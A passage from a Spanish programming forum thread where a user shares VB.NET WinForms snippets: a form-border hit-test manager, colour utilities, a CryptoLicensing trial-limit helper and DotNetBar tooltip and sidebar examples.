' .Right = FormBorderManager.WindowHitTestRegions.TitleBar,
' .Bottom = FormBorderManager.WindowHitTestRegions.TitleBar,
' .TopLeft = FormBorderManager.WindowHitTestRegions.TitleBar,
' .TopRight = FormBorderManager.WindowHitTestRegions.TitleBar,
' .BottomLeft = FormBorderManager.WindowHitTestRegions.TitleBar,
' .BottomRight = FormBorderManager.WindowHitTestRegions.TitleBar
' }
' }
' Private Shadows Sub Load(sender As Object, e As EventArgs) Handles MyBase.Load
' ' Disables the moving on all border edges.
' FormBorders.SetAllEdgesToNonMoveable()
' End Sub
'End Class
#End Region
#Region " Imports "
Imports System.ComponentModel
#End Region
#Region " FormBorderManager "
''' <summary>
''' Class FormBorderManager.
''' Manages each Form border to indicate their Hit-Region.
''' </summary>
<Description("Manages each Form border to indicate their Hit-Region")>
Public Class FormBorderManager : Inherits NativeWindow : Implements IDisposable
#Region " Members "
#Region " Miscellaneous "
''' <summary>
''' The form to manage their borders.
''' </summary>
Private WithEvents form As Form = Nothing
#End Region
#Region " Properties "
''' <summary>
''' Gets or sets the Hit-Region of the edges.
''' </summary>
''' <value>The Form edges.</value>
Public Property Edges As New FormEdges
''' <summary>
''' The Edges of the Form.
''' </summary>
Partial Public NotInheritable Class FormEdges
''' <summary>
''' Gets or sets the Hit-Region of the Top form border.
''' </summary>
Public Property Top As WindowHitTestRegions = WindowHitTestRegions.TopSizeableBorder
''' <summary>
''' Gets or sets the Hit-Region of the Left form border.
''' </summary>
Public Property Left As WindowHitTestRegions = WindowHitTestRegions.LeftSizeableBorder
''' <summary>
''' Gets or sets the Hit-Region of the Right form border.
''' </summary>
Public Property Right As WindowHitTestRegions = WindowHitTestRegions.RightSizeableBorder
''' <summary>
''' Gets or sets the Hit-Region of the Bottom form border.
''' </summary>
Public Property Bottom As WindowHitTestRegions = WindowHitTestRegions.BottomSizeableBorder
''' <summary>
''' Gets or sets the Hit-Region of the Top-Left form border.
''' </summary>
Public Property TopLeft As WindowHitTestRegions = WindowHitTestRegions.TopLeftSizeableCorner
''' <summary>
''' Gets or sets the Hit-Region of the Top-Right form border.
''' </summary>
Public Property TopRight As WindowHitTestRegions = WindowHitTestRegions.TopRightSizeableCorner
''' <summary>
''' Gets or sets the Hit-Region of the Bottom-Left form border.
''' </summary>
Public Property BottomLeft As WindowHitTestRegions = WindowHitTestRegions.BottomLeftSizeableCorner
''' <summary>
''' Gets or sets the Hit-Region of the Bottom-Right form border.
''' </summary>
Public Property BottomRight As WindowHitTestRegions = WindowHitTestRegions.BottomRightSizeableCorner
End Class
#End Region
#Region " Enumerations "
''' <summary>
''' Known Windows Message Identifiers.
''' </summary>
<Description("Messages to process in WndProc")>
Private Enum KnownMessages As Integer
''' <summary>
''' Sent to a window in order to determine what part of the window corresponds to a particular screen coordinate.
''' This can happen, for example, when the cursor moves, when a mouse button is pressed or released,
''' or in response to a call to a function such as WindowFromPoint.
''' If the mouse is not captured, the message is sent to the window beneath the cursor.
''' Otherwise, the message is sent to the window that has captured the mouse.
''' <paramref name="WParam" />
''' This parameter is not used.
''' <paramref name="LParam" />
''' The low-order word specifies the x-coordinate of the cursor.
''' The coordinate is relative to the upper-left corner of the screen.
''' The high-order word specifies the y-coordinate of the cursor.
''' The coordinate is relative to the upper-left corner of the screen.
''' </summary>
WM_NCHITTEST = &H84
End Enum
''' <summary>
''' Indicates the position of the cursor hot spot.
''' Options available when a form is tested for mose positions with 'WM_NCHITTEST' message.
''' </summary>
<Description("Return value of the 'WM_NCHITTEST' message")>
Public Enum WindowHitTestRegions
''' <summary>
''' HTERROR: On the screen background or on a dividing line between windows.
''' (same as HTNOWHERE, except that the DefWindowProc function produces a system beep to indicate an error).
''' </summary>
[Error] = -2
''' <summary>
''' HTTRANSPARENT: In a window currently covered by another window in the same thread.
''' (the message will be sent to underlying windows in the same thread
''' until one of them returns a code that is not HTTRANSPARENT).
''' </summary>
TransparentOrCovered = -1
''' <summary>
''' HTNOWHERE: On the screen background or on a dividing line between windows.
''' </summary>
NoWhere = 0
''' <summary>
''' HTCLIENT: In a client area.
''' </summary>
ClientArea = 1
''' <summary>
''' HTCAPTION: In a title bar.
''' </summary>
TitleBar = 2
''' <summary>
''' HTSYSMENU: In a window menu or in a Close button in a child window.
''' </summary>
SystemMenu = 3
''' <summary>
''' HTGROWBOX: In a size box (same as HTSIZE).
''' </summary>
GrowBox = 4
''' <summary>
''' HTMENU: In a menu.
''' </summary>
Menu = 5
''' <summary>
''' HTHSCROLL: In a horizontal scroll bar.
''' </summary>
HorizontalScrollBar = 6
''' <summary>
''' HTVSCROLL: In the vertical scroll bar.
''' </summary>
VerticalScrollBar = 7
''' <summary>
''' HTMINBUTTON: In a Minimize button.
''' </summary>
MinimizeButton = 8
''' <summary>
''' HTMAXBUTTON: In a Maximize button.
''' </summary>
MaximizeButton = 9
''' <summary>
''' HTLEFT: In the left border of a resizable window.
''' (the user can click the mouse to resize the window horizontally).
''' </summary>
LeftSizeableBorder = 10
''' <summary>
''' HTRIGHT: In the right border of a resizable window.
''' (the user can click the mouse to resize the window horizontally).
''' </summary>
RightSizeableBorder = 11
''' <summary>
''' HTTOP: In the upper-horizontal border of a window.
''' </summary>
TopSizeableBorder = 12
''' <summary>
''' HTTOPLEFT: In the upper-left corner of a window border.
''' </summary>
TopLeftSizeableCorner = 13
''' <summary>
''' HTTOPRIGHT: In the upper-right corner of a window border.
''' </summary>
TopRightSizeableCorner = 14
''' <summary>
''' HTBOTTOM: In the lower-horizontal border of a resizable window.
''' (the user can click the mouse to resize the window vertically).
''' </summary>
BottomSizeableBorder = 15
''' <summary>
''' HTBOTTOMLEFT: In the lower-left corner of a border of a resizable window.
''' (the user can click the mouse to resize the window diagonally).
''' </summary>
BottomLeftSizeableCorner = 16
''' <summary>
''' HTBOTTOMRIGHT: In the lower-right corner of a border of a resizable window.
''' (the user can click the mouse to resize the window diagonally).
''' </summary>
BottomRightSizeableCorner = 17
''' <summary>
''' HTBORDER: In the border of a window that does not have a sizing border.
''' </summary>
NonSizableBorder = 18
' ''' <summary>
' ''' HTOBJECT: Not implemented.
' ''' </summary>
' [Object] = 19
''' <summary>
''' HTCLOSE: In a Close button.
''' </summary>
CloseButton = 20
''' <summary>
''' HTHELP: In a Help button.
''' </summary>
HelpButton = 21
''' <summary>
''' HTSIZE: In a size box (same as HTGROWBOX).
''' (Same as GrowBox).
''' </summary>
SizeBox = GrowBox
''' <summary>
''' HTREDUCE: In a Minimize button.
''' (Same as MinimizeButton).
''' </summary>
ReduceButton = MinimizeButton
''' <summary>
''' HTZOOM: In a Maximize button.
''' (Same as MaximizeButton).
''' </summary>
ZoomButton = MaximizeButton
End Enum
#End Region
#End Region
#Region " Constructor "
''' <summary>
''' Initializes a new instance of the <see cref="FormBorderManager"/> class.
''' </summary>
''' <param name="form">The form to assign.</param>
Public Sub New(ByVal form As Form)
' Assign the Formulary.
Me.form = form
' Assign the form handle.
Me.SetFormHandle()
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Assign the handle of the target form to this NativeWindow,
''' necessary to override WndProc.
''' </summary>
Private Sub SetFormHandle() _
Handles Form.HandleCreated, Form.Load, Form.Shown
Try
If Not MyBase.Handle.Equals(Me.form.Handle) Then
MyBase.AssignHandle(Me.form.Handle)
End If
Catch ' ex As InvalidOperationException
End Try
End Sub
''' <summary>
''' Releases the Handle.
''' </summary>
Private Sub OnHandleDestroyed() _
Handles Form.HandleDestroyed
MyBase.ReleaseHandle()
End Sub
#End Region
#Region " WndProc "
''' <summary>
''' Invokes the default window procedure associated with this window to process messages for this Window.
''' </summary>
''' <param name="m">
''' A <see cref="T:System.Windows.Forms.Message" /> that is associated with the current Windows message.
''' </param>
Protected Overrides Sub WndProc(ByRef m As Message)
MyBase.WndProc(m)
Select Case m.Msg
Case KnownMessages.WM_NCHITTEST
Select Case CType(m.Result, WindowHitTestRegions)
Case WindowHitTestRegions.TopSizeableBorder ' The mouse hotspot is pointing to Top border.
m.Result = New IntPtr(Edges.Top)
Case WindowHitTestRegions.LeftSizeableBorder ' The mouse hotspot is pointing to Left border.
m.Result = New IntPtr(Edges.Left)
Case WindowHitTestRegions.RightSizeableBorder ' The mouse hotspot is pointing to Right border.
m.Result = New IntPtr(Edges.Right)
Case WindowHitTestRegions.BottomSizeableBorder ' The mouse hotspot is pointing to Bottom border.
m.Result = New IntPtr(Edges.Bottom)
Case WindowHitTestRegions.TopLeftSizeableCorner ' The mouse hotspot is pointing to Top-Left border.
m.Result = New IntPtr(Edges.TopLeft)
Case WindowHitTestRegions.TopRightSizeableCorner ' The mouse hotspot is pointing to Top-Right border.
m.Result = New IntPtr(Edges.TopRight)
Case WindowHitTestRegions.BottomLeftSizeableCorner ' The mouse hotspot is pointing to Bottom-Left border.
m.Result = New IntPtr(Edges.BottomLeft)
Case WindowHitTestRegions.BottomRightSizeableCorner ' The mouse hotspot is pointing to Bottom-Right border.
m.Result = New IntPtr(Edges.BottomRight)
End Select
End Select
End Sub
#End Region
#Region " Public Methods "
''' <summary>
''' Disables the resizing on all border edges.
''' </summary>
Public Sub SetAllEdgesToNonResizable()
DisposedCheck()
Me.Edges.Top = WindowHitTestRegions.TitleBar
Me.Edges.Left = WindowHitTestRegions.TitleBar
Me.Edges.Right = WindowHitTestRegions.TitleBar
Me.Edges.Bottom = WindowHitTestRegions.TitleBar
Me.Edges.TopLeft = WindowHitTestRegions.TitleBar
Me.Edges.TopRight = WindowHitTestRegions.TitleBar
Me.Edges.BottomLeft = WindowHitTestRegions.TitleBar
Me.Edges.BottomRight = WindowHitTestRegions.TitleBar
End Sub
''' <summary>
''' Enables the resizing on all border edges.
''' </summary>
Public Sub SetAllEdgesToResizable()
DisposedCheck()
Me.Edges.Top = WindowHitTestRegions.TopSizeableBorder
Me.Edges.Left = WindowHitTestRegions.LeftSizeableBorder
Me.Edges.Right = WindowHitTestRegions.RightSizeableBorder
Me.Edges.Bottom = WindowHitTestRegions.BottomSizeableBorder
Me.Edges.TopLeft = WindowHitTestRegions.TopLeftSizeableCorner
Me.Edges.TopRight = WindowHitTestRegions.TopRightSizeableCorner
Me.Edges.BottomLeft = WindowHitTestRegions.BottomLeftSizeableCorner
Me.Edges.BottomRight = WindowHitTestRegions.BottomRightSizeableCorner
End Sub
''' <summary>
''' Enabled the moving on all border edges.
''' </summary>
Public Sub SetAllEdgesToMoveable()
DisposedCheck()
Me.Edges.Top = WindowHitTestRegions.TopSizeableBorder
Me.Edges.Left = WindowHitTestRegions.LeftSizeableBorder
Me.Edges.Right = WindowHitTestRegions.RightSizeableBorder
Me.Edges.Bottom = WindowHitTestRegions.BottomSizeableBorder
Me.Edges.TopLeft = WindowHitTestRegions.TopLeftSizeableCorner
Me.Edges.TopRight = WindowHitTestRegions.TopRightSizeableCorner
Me.Edges.BottomLeft = WindowHitTestRegions.BottomLeftSizeableCorner
Me.Edges.BottomRight = WindowHitTestRegions.BottomRightSizeableCorner
End Sub
''' <summary>
''' Disables the moving on all border edges.
''' </summary>
Public Sub SetAllEdgesToNonMoveable()
DisposedCheck()
Me.Edges.Top = WindowHitTestRegions.NoWhere
Me.Edges.Left = WindowHitTestRegions.NoWhere
Me.Edges.Right = WindowHitTestRegions.NoWhere
Me.Edges.Bottom = WindowHitTestRegions.NoWhere
Me.Edges.TopLeft = WindowHitTestRegions.NoWhere
Me.Edges.TopRight = WindowHitTestRegions.NoWhere
Me.Edges.BottomLeft = WindowHitTestRegions.NoWhere
Me.Edges.BottomRight = WindowHitTestRegions.NoWhere
End Sub
#End Region
#Region " Hidden methods "
' These methods and properties are purposely hidden from Intellisense just to look better without unneeded methods.
' NOTE: The methods can be re-enabled at any-time if needed.
''' <summary>
''' Assigns the handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub AssignHandle()
End Sub
''' <summary>
''' Creates the handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateHandle()
End Sub
''' <summary>
''' Creates the object reference.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub CreateObjRef()
End Sub
''' <summary>
''' Definitions the WND proc.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DefWndProc()
End Sub
''' <summary>
''' Destroys the window and its handle.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub DestroyHandle()
End Sub
''' <summary>
''' Equalses this instance.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub Equals()
End Sub
''' <summary>
''' Gets the hash code.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetHashCode()
End Sub
''' <summary>
''' Gets the lifetime service.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub GetLifetimeService()
End Sub
''' <summary>
''' Initializes the lifetime service.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub InitializeLifetimeService()
End Sub
''' <summary>
''' Releases the handle associated with this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Sub ReleaseHandle()
End Sub
''' <summary>
''' Gets the handle for this window.
''' </summary>
<EditorBrowsable(EditorBrowsableState.Never)>
Public Shadows Property Handle()
#End Region
#Region " IDisposable "
''' <summary>
''' To detect redundant calls when disposing.
''' </summary>
Private IsDisposed As Boolean = False
''' <summary>
''' Prevent calls to methods after disposing.
''' </summary>
''' <exception cref="System.ObjectDisposedException"></exception>
Private Sub DisposedCheck()
If Me.IsDisposed Then
Throw New ObjectDisposedException(Me.GetType().FullName)
End If
End Sub
''' <summary>
''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
''' <summary>
''' Releases unmanaged and - optionally - managed resources.
''' </summary>
''' <param name="IsDisposing">
''' <c>true</c> to release both managed and unmanaged resources;
''' <c>false</c> to release only unmanaged resources.
''' </param>
Protected Sub Dispose(IsDisposing As Boolean)
If Not Me.IsDisposed Then
If IsDisposing Then
Me.form = Nothing
MyBase.ReleaseHandle()
MyBase.DestroyHandle()
End If
End If
Me.IsDisposed = True
End Sub
#End Region
End Class
#End Region
Una Helper Class con utilidades variadas relacionadas con los colores:
' ***********************************************************************
' Author : Elektro
' Created : 01-13-2014
' Modified : 01-13-2014
' ***********************************************************************
' --------------
' Public Methods
' --------------
'
' Screen.GetPixelColor
' Screen.GetPixelBrush
' Screen.GetPixelPen
'
' ColorConvert.ColorToBrush
' ColorConvert.ColorToPen
' ColorConvert.BrushToColor
' ColorConvert.PentoColor
'
' StringConvert.ColorToString
' StringConvert.BrushToString
' StringConvert.PenToString
' StringConvert.StringToColor
' StringConvert.StringToBrush
' StringConvert.StringToPen
' StringConvert.StringToString
'
' RandomGenerators.ARGB
' RandomGenerators.RGB
' RandomGenerators.QB
' RandomGenerators.ConsoleColor
' RandomGenerators.Brush
' RandomGenerators.Pen
La Class no cabe en un post, aquí la pueden ver ~> http://pastebin.com/88Q0wGPf
Ejemplos de uso:
' Gets the color of the pixel at the 50,100 coordinates:
Dim c As Color = ColorTools.Screen.GetPixelColor(50, 100)
' Generates a random Brush
Dim br As SolidBrush = ColorTools.RandomGenerators.Brush
' Converts a SolidBrush to a Color:
Dim c As Color = ColorTools.ColorConvert.BrushToColor(New SolidBrush(Color.Red))
' Converts an HTML Color-String to a Color:
PictureBox1.BackColor = ColorTools.StringConvert.StringToColor("#FF00FFFF",
ColorTools.StringConvert.ValueFormat.HTML,
ColorTools.StringConvert.StringSyntax.None)
' Converts an Hex Color-String to a Color:
MsgBox(ColorTools.StringConvert.StringToColor("0x003399",
ColorTools.StringConvert.ValueFormat.Hexadecimal,
ColorTools.StringConvert.StringSyntax.None))
' Converts a Byte Color-String with VisyalStudio's property grid syntax to a Color:
MsgBox(ColorTools.StringConvert.StringToColor("255; 255; 255; 255",
ColorTools.StringConvert.ValueFormat.Byte,
ColorTools.StringConvert.StringSyntax.VisualStudioPropertyGrid).
Name)
' Converts a HEX Color-String with VB.NET syntax to a Color:
MsgBox(ColorTools.StringConvert.StringToColor("Color.FromArgb(&HFF, &H5F, &HEC, &H12)",
ColorTools.StringConvert.ValueFormat.Hexadecimal,
ColorTools.StringConvert.StringSyntax.VBNET).
ToString)
' Converts an HTML Color-String with C# Syntax to a Brush:
Dim br As Brush = ColorTools.StringConvert.StringToBrush("ColorTranslator.FromHtml(""#F71608"");",
ColorTools.StringConvert.ValueFormat.HTML,
ColorTools.StringConvert.StringSyntax.VBNET)
' Converts a Color-String to other Color-String:
MsgBox(ColorTools.StringConvert.StringToString("ColorTranslator.FromHtml(""#AF0CCAFE"");",
ColorTools.StringConvert.ValueFormat.HTML,
ColorTools.StringConvert.StringSyntax.CSharp,
ColorTools.StringConvert.ValueFormat.Byte,
ColorTools.StringConvert.StringSyntax.None,
True))
A mi no me deja descargar, ¿me podrias facilitar un enlace por MP?
Muy buen aporte!!
Muchas gracias!!
Cita de: CatadorDeVeneno en 13 Enero 2014, 18:11 PMA mi no me deja descargar, ¿me podrias facilitar un enlace por MP?
Hola,
He actualizado el enlace en la primera página ~> http://www.mediafire.com/download/ms5r82x12y32p8a/My%20Code%20Snippets.rar
Saludos!
Una forma muy, muy sencilla de implementar una evaluación Trial del programa, usando la librería CryptoLicensing.
NOTA: El tipo de protección y checkeos, ya sea una evaluación trial, un límite de máquinas o un límite de usos, o una comprobación hardware-id ...todo se genera desde la aplicación de CryptoLicensing y queda registrado en la propiedad "LicenseCode"... mi ayudante está pensado para una evaluación muy sencilla y básica sin posibilidad de validar, es decir, no está pensado para evaluar licencias válidas ...sinó más bien para restringir la aplicación a un máximo de usos y/o duración de ejecución y/o dias, todavía no he indagado mucho en el modo de uso de la librería.
' CryptoLicense Helper
' ( By Elektro )
'
' Usage Examples:
' Dim MyLicense As New Licenser
#Region " Imports "
Imports LogicNP.CryptoLicensing
Imports System.Windows.Forms
#End Region
''' <summary>
''' Manages the license of this Application.
''' </summary>
Public Class Licenser
#Region " Members "
''' <summary>
''' The license object.
''' </summary>
Public WithEvents License As CryptoLicense =
New CryptoLicense() With
{
.ValidationKey = "AMAAMACSde6/zo6beBTzxAC5D9qrf6OyReAJwGB30gMr5ViI1/+ZXRzwt7M+KnraMKNkaREDAAEAAQ==",
.LicenseCode = "FgCAABguQrc4Es8BAQETTsmKhj/OGCuTbJzExXb9GO7sx3yR6wQIGynJ76g7DyxOU0zgSZ82lYtuIa8r9m8="
}
''' <summary>
''' The license message to display on a MessageBox.
''' </summary>
Private LicenseMessage As String = String.Empty
#End Region
#Region " Constructor "
''' <summary>
''' Initializes a new instance of the <see cref="Licenser"/> class.
''' </summary>
Public Sub New()
Select Case License.Status
Case LicenseStatus.Valid
OnValid()
Case LicenseStatus.InValid
OnInvalid()
Case LicenseStatus.Expired
OnExpired()
Case LicenseStatus.UsageDaysExceeded
OnUsageDaysExceeded()
Case LicenseStatus.ExecutionsExceeded
OnExecutionsExceeded()
End Select
End Sub
#End Region
#Region " Methods "
''' <summary>
''' Called when license status is valid.
''' </summary>
Private Sub OnValid()
If License.RemainingUsageDays <> Short.MaxValue Then
LicenseMessage = String.Format("{0} days remaining.",
CStr(License.RemainingUsageDays))
ShowLicenseMessage(False)
End If
End Sub
''' <summary>
''' Called when license status is invalid.
''' </summary>
Private Sub OnInvalid()
LicenseMessage = "Invalid License."
ShowLicenseMessage(True)
Terminate()
End Sub
''' <summary>
''' Called when license status expired.
''' </summary>
Private Sub OnExpired()
LicenseMessage = String.Format("License has expired on {0}.",
CStr(License.DateExpires))
ShowLicenseMessage(True)
Terminate()
End Sub
''' <summary>
''' Called when license status usage days exceeded.
''' </summary>
Private Sub OnUsageDaysExceeded()
LicenseMessage = String.Format("This software is limited to 7 days, this is the {0} day.",
CStr(License.CurrentUsageDays))
ShowLicenseMessage(True)
Terminate()
End Sub
''' <summary>
''' Called when license status executions exceeded.
''' </summary>
Private Sub OnExecutionsExceeded()
LicenseMessage = String.Format("This software is limited to 5 executions, this is the {0} execution.",
CStr(License.CurrentExecutions))
ShowLicenseMessage(True)
Terminate()
End Sub
#End Region
#Region " Miscellaneous Methods "
''' <summary>
''' Shows the license message on a MessageBox.
''' </summary>
Private Sub ShowLicenseMessage(Optional ByVal ShowBuyComment As Boolean = False)
LicenseMessage = String.Format("{0}{1}",
LicenseMessage,
If(ShowBuyComment,
Environment.NewLine & "Please buy this software.",
Nothing))
MessageBox.Show(LicenseMessage, "License Information", MessageBoxButtons.OK, MessageBoxIcon.Exclamation)
End Sub
''' <summary>
''' Terminates the application.
''' </summary>
Private Sub Terminate()
Application.Exit() ' Terminate the application.
End Sub
#End Region
#Region " Event Handlers "
''' <summary>
''' Handles the RunTimeExceeded event of the License.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub License_RunTimeExceeded(ByVal sender As Object, e As EventArgs) _
Handles License.RunTimeExceeded
LicenseMessage = "Maximum usage time exceeded."
ShowLicenseMessage(True)
Terminate()
End Sub
#End Region
End Class
Determina si el ratón está dentro del rango de pixels de un Control.
' Mouse Is Over Control?
' ( By Elektro )
'
' Usage Examples:
' MsgBox(MouseIsOverControl(PictureBox1))
'
''' <summary>
''' Determinates whether the mouse pointer is over a pixel range of a specified control.
''' </summary>
''' <param name="Control">The control.</param>
''' <returns>
''' <c>true</c> if mouse is inside the pixel range, <c>false</c> otherwise.
''' </returns>
Private Function MouseIsOverControl(ByVal [Control] As Control) As Boolean
Return [Control].ClientRectangle.Contains([Control].PointToClient(MousePosition))
End Function
Crea un Bitmap y lo rellena con un color específico.
' Create Solid Bitmap
' ( By Elektro )
'
' Usage Examples:
' PictureBox1.BackgroundImage = CreateSolidBitmap(New Size(16, 16), Color.Red)
'
''' <summary>
''' Creates a bitmap filled with a solid color.
''' </summary>
''' <param name="FillColor">Color to fill the Bitmap.</param>
''' <returns>A Bitmap filled with the specified color.</returns>
Private Function CreateSolidBitmap(ByVal [Size] As Size,
ByVal FillColor As Color) As Bitmap
' Create a bitmap.
Dim bmp As New Bitmap([Size].Width, [Size].Height)
' Create a graphics object.
Using g As Graphics = Graphics.FromImage(bmp)
' Create a brush using the specified color.
Using br As New SolidBrush(FillColor)
' Fill the graphics object with the brush.
g.FillRectangle(br, 0, 0, bmp.Width, bmp.Height)
End Using ' br
End Using ' g
Return bmp
End Function
Crea una serie de ToolStripItems en tiempo de ejecución.
' Create ToolStripItems at execution-time.
' ( By Elektro )
'
''' <summary>
''' Handles the MouseEnter event of the ToolStripMenuItem control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub ToolStripMenuItem1_MouseEnter(sender As Object, e As EventArgs) _
Handles ToolStripMenuItem1.MouseEnter
' Cast the Sender object.
Dim MenuItem As ToolStripMenuItem = CType(sender, ToolStripMenuItem)
' Remove previous Item handlers.
For Each Item As ToolStripItem In MenuItem.DropDown.Items
RemoveHandler Item.Click, AddressOf DropDownItems_Click
Next Item
' Clear previous items.
MenuItem.DropDown.Items.Clear()
' Set the DropDown Backcolor.
MenuItem.DropDown.BackColor = MenuItem.BackColor
' Create new items.
For X As Integer = 0 To 5
' Add the Item and set the Text, Image, and OnClick event handler.
Dim Item As ToolStripItem =
MenuItem.DropDown.Items.Add([Enum].Parse(GetType(ConsoleColor), X).ToString,
New Bitmap(1, 1),
AddressOf DropDownItems_Click)
' Set other item properties.
With Item
.Tag = X
End With
Next X
End Sub
''' <summary>
''' Handles the Click event of the DropDownItems.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub DropDownItems_Click(sender As Object, e As EventArgs)
MsgBox(String.Format("Item clicked: {0} | {1}", CStr(sender.Tag), CStr(sender.Text)))
End Sub
Unos Snippets que he escrito para algunos de los controles de usuario de DotNetBar.
Ejemplo de como crear y mostrar un Ballon.
' DotNetBar [Ballon] Example to create a new Ballon.
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
''' <summary>
''' The DotNetBar Ballon object.
''' </summary>
Private WithEvents BallonTip As Balloon = Nothing
''' <summary>
''' Handles the MouseEnter event of the TextBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub TextBox1_MouseEnter(ByVal sender As Object, ByVal e As EventArgs) _
Handles TextBox1.MouseEnter
BallonTip = New Balloon()
' Set the properties to customize the Ballon.
With BallonTip
.Owner = Me
.Style = eBallonStyle.Balloon
.AutoCloseTimeOut = 5 ' In seconds.
.BorderColor = Color.YellowGreen
.BackColor = Color.FromArgb(80, 80, 80)
.BackColor2 = Color.FromArgb(40, 40, 40)
.BackColorGradientAngle = 90
.CaptionIcon = Nothing
.CaptionImage = Nothing
.CaptionText = "I'm a BallonTip"
.CaptionFont = .Owner.Font
.CaptionColor = Color.YellowGreen
.Text = "I'm the BallonTip text"
.ForeColor = Color.WhiteSmoke
.AutoResize() ' Autoresize the Ballon, after setting the text.
.Show(sender, False) ' Show it.
End With
End Sub
''' <summary>
''' Handles the MouseLeave event of the TextBox1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="EventArgs"/> instance containing the event data.</param>
Private Sub DisposeBallon(ByVal sender As Object, ByVal e As EventArgs) _
Handles TextBox1.MouseLeave
If BallonTip IsNot Nothing AndAlso BallonTip.Visible Then
BallonTip.Dispose()
End If
End Sub
Muestra un SuperTooltipInfo en unas coordenadas específicas.
' DotNetBar [SuperTooltipInfo] Show SuperTooltipInfo at MousePosition
' ( By Elektro )
'
' Instructions:
' 1. Add a reference to 'DevComponents.DotNetBar.dll'.
' 2. Add a 'SuperToolTip' control in the Designer.
'
' Usage Examples:
' ShowSuperTooltipInfo(SuperTooltip1,
' "I'm the Header", "I'm the Body", , "I'm the Footer", ,
' eTooltipColor.Blue, MousePosition, 2, False)
'
''' <summary>
''' Shows a SuperTooltipInfo on the specified location.
''' </summary>
''' <param name="SuperToolTip">Indicates the SuperTooltip control.</param>
''' <param name="HeaderText">Indicates the header text.</param>
''' <param name="BodyText">Indicates the body text.</param>
''' <param name="BodyImage">Indicates the body image.</param>
''' <param name="FooterText">Indicates the footer text.</param>
''' <param name="FooterImage">Indicates the footer image.</param>
''' <param name="BackColor">Indicates the Tooltip background color.</param>
''' <param name="Location">Indicates the location where to show the Tooltip.</param>
''' <param name="Duration">Indicates the Tooltip duration.</param>
''' <param name="PositionBelowControl">If set to <c>true</c> the tooltip is shown below the control.</param>
Private Sub ShowSuperTooltip(ByVal SuperToolTip As SuperTooltip,
Optional ByVal HeaderText As String = "",
Optional ByVal BodyText As String = "",
Optional ByVal BodyImage As Image = Nothing,
Optional ByVal FooterText As String = "",
Optional ByVal FooterImage As Image = Nothing,
Optional ByVal BackColor As eTooltipColor = eTooltipColor.System,
Optional ByVal Location As Point = Nothing,
Optional ByVal Duration As Integer = 2,
Optional ByVal PositionBelowControl As Boolean = False)
' Save the current SuperToolTip contorl properties to restore them at end.
Dim CurrentProp_IgnoreFormActiveState As Boolean = SuperToolTip.IgnoreFormActiveState
Dim CurrentProp_PositionBelowControl As Boolean = SuperToolTip.PositionBelowControl
' Create an invisible Form.
Dim TooltipForm As New Form
With TooltipForm
.Size = New Size(0, 0)
.Opacity = 0
.Location = Location ' Move the Form to the specified location.
End With
' Create a SuperTooltipInfo.
Dim MySuperTooltip As New SuperTooltipInfo()
With MySuperTooltip
.HeaderText = HeaderText
.BodyText = BodyText
.BodyImage = BodyImage
.FooterText = FooterText
.FooterImage = FooterImage
.Color = BackColor
End With
' Set the Supertooltip properties.
With SuperToolTip
.IgnoreFormActiveState = True ' Ignore the form state to display the tooltip.
.PositionBelowControl = PositionBelowControl
.TooltipDuration = Duration
.SetSuperTooltip(TooltipForm, MySuperTooltip) ' Assign the SuperTooltip to the invisible form.
.ShowTooltip(TooltipForm) ' Show the SuperTooltipInfo on the form.
End With
' Restore the SuperTooltip properties.
With SuperToolTip
.IgnoreFormActiveState = CurrentProp_IgnoreFormActiveState
.PositionBelowControl = CurrentProp_PositionBelowControl
End With
' Dispose the invisible Form.
TooltipForm.Dispose()
End Sub
Ejemplo de como añadir soporte para mover un SideBar usando la rueda del ratón.
' DotNetBar [SideBar] Scroll SideBar using MouseWheel.
' ( By Elektro )
'
' Instructions:
' 1. Reference 'DevComponents.DotNetBar.dll'.
' 2. Add a 'SideBar' control (with panel and buttons inside).
''' <summary>
''' Handles the MouseMove event of the SideBar1 control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub SideBar1_MouseMove(sender As Object, e As MouseEventArgs) _
Handles SideBar1.MouseMove
SideBar1.Focus()
End Sub
''' <summary>
''' Handles the MouseWheel event of the SideBar control.
''' </summary>
''' <param name="sender">The source of the event.</param>
''' <param name="e">The <see cref="MouseEventArgs"/> instance containing the event data.</param>
Private Sub SideBar1_MouseWheel(sender As Object, e As MouseEventArgs) _
Handles SideBar1.MouseWheel
Dim TopItemIndex As Integer = sender.ExpandedPanel.TopItemIndex
Dim ItemCount As Integer = sender.ExpandedPanel.SubItems.Count
Select Case e.Delta
Case Is < 0
If TopItemIndex < ItemCount - 1 Then
TopItemIndex += 1
End If
Case Else
If TopItemIndex > 0 Then
TopItemIndex -= 1
End If
End Select
End Sub
Ejemplo de como crear y o eliminar tabs de un SuperTabControl en tiempo de ejecución.
